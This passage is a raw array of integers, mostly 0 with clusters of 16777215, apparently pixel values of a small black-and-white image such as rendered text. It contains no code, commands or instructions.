,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,16777215,16777215,16777215,0,16777215,16777215,16777215,0,0,0,0,0,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,0,16777215,16777215,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,16777215,16777215,16777215,0,16777215,16777215,0,16777215,16777215,16777215,0,0,16777215,16777215,16777215,0,0,0,0,16777215,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,16777215,16777215,16777215,16777215,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,16777215,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,16777215,16777215,0,0,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,0,16777215,16777215,0,0,16777215,16777215,16777215,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,16777215,16777215,0,0,0,0,0,16777215,16777215,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0